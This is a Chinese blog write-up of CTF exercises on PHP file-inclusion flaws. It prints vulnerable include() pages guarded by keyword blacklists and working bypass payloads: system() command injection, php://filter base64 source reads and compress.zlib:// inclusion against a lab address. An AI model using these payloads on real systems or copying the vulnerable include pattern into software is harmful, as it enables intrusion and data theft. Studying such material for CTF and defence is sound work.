文件上传漏洞最强总结

先看道题

源码

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
	include($file);
}else{
	echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

访问一下

 点击一下 他去访问百度去啦

 看到file就应该想到文件包含

随便测试一下

 在尝试一下看源码 ,失败啦

 

我们用抓包的方式,但是我没有成功(php版本5.4.45 nginx版本1.15.11)

 

 这边我把老师的图放过来。

再利用system就可以读取flag啦

<?php system('dir'); ?>
<?php system('type flag.php'); ?>

 搞定,后期我把环境重搞一下试试。

我搞定啦

我把php版本调高啦,然后

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据

  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

 第二个那个参数记得去php.ini去改一下

 开始命令执行

再来一道题

介绍一个php伪协议 PHP://FILTER

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

源代码

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

因为他是php文件你肯定看不到

 然后我们需要使用 PHP://FILTER来读源码然后进行解码。

测试代码

http://172.51.47.163/web2.php?file=php://filter/read=convert.base64-encode/resource=flag.php

效果图

 然后进行解码

ZIP:// 的用法

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  • 只需要是zip的压缩包即可,后缀名可以任意更改。

  • 相同的类型的还有zlib://和bzip2://

还是刚在的题上面屏蔽zip但是我们有zlib://和bzip2://

直接实战方便大家理解。

先改一个php.ini

 zlib://和bzip2://可以去给你访问解压文件,来解析php。

 注意:记得用7-zip压缩要不成功不了

代码语法

http://172.51.47.163/web2.php?file=compress.zlib://D:/phpstudy_pro/WWW/lnmp/pwnhub/web/phpinfo.zip

效果图

还有压缩的图片

 bzip2我没有成功等我成功再放上来

猜你喜欢

转载自blog.csdn.net/Jack_chao_/article/details/129983927